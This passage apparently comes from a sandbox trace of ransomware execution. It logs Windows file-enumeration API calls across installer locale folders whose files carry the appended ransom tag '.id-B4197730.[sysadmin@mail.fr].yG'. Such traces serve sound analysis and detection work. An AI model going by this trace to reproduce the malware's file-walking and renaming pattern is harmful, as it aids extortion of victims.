	[0133.765] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1
	[0133.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.765] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd200
	[0133.769] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.769] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99715aa1, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99715aa1, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99977f1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.769] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9973bbef, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9973bbef, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99a36c4e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.769] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98c5b07b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98c5b07b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ca7488, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.770] FindNextFileW (in: hFindFile=0x5dd200, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98c5b07b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98c5b07b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ca7488, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.770] FindClose (in: hFindFile=0x5dd200 | out: hFindFile=0x5dd200) returned 1
	[0133.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.771] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1
	[0133.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.771] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd240
	[0133.775] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.775] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99951da5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99951da5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99dd0129, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.775] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99977f1e, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99977f1e, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99dd0129, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.775] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ca7488, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ca7488, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ca7488, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.775] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ca7488, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ca7488, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ca7488, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.775] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0133.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.776] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1
	[0133.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.776] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0133.778] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.779] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99a36c4e, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99a36c4e, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99df06c7, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.779] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99a8302f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99a8302f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99c72daf, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.779] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ccd789, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ccd789, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ebd739, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.779] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ccd789, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ccd789, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ebd739, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.779] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0133.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.780] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1
	[0133.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.780] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0133.782] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.782] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99c72daf, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99c72daf, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99d31a53, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.783] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99d57d73, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99d57d73, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99eaf20f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.783] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98d3ff57, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98d3ff57, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ebd739, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.783] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98d3ff57, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98d3ff57, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ebd739, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.783] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0133.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.784] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1
	[0133.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.784] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd340
	[0133.786] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.786] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99dd0129, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99dd0129, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99ed54b1, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.786] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99df06c7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99df06c7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99ed54b1, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.787] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ebd739, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ebd739, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98fee8f7, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0133.787] FindNextFileW (in: hFindFile=0x5dd340, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ebd739, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ebd739, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98fee8f7, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0133.787] FindClose (in: hFindFile=0x5dd340 | out: hFindFile=0x5dd340) returned 1
	[0133.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0133.788] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1
	[0133.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0133.788] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0133.993] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0133.994] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99df06c7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99df06c7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99ed54b1, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0133.994] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99efb65a, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99efb65a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a006756, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0133.994] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ebd739, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ebd739, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99014bb0, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
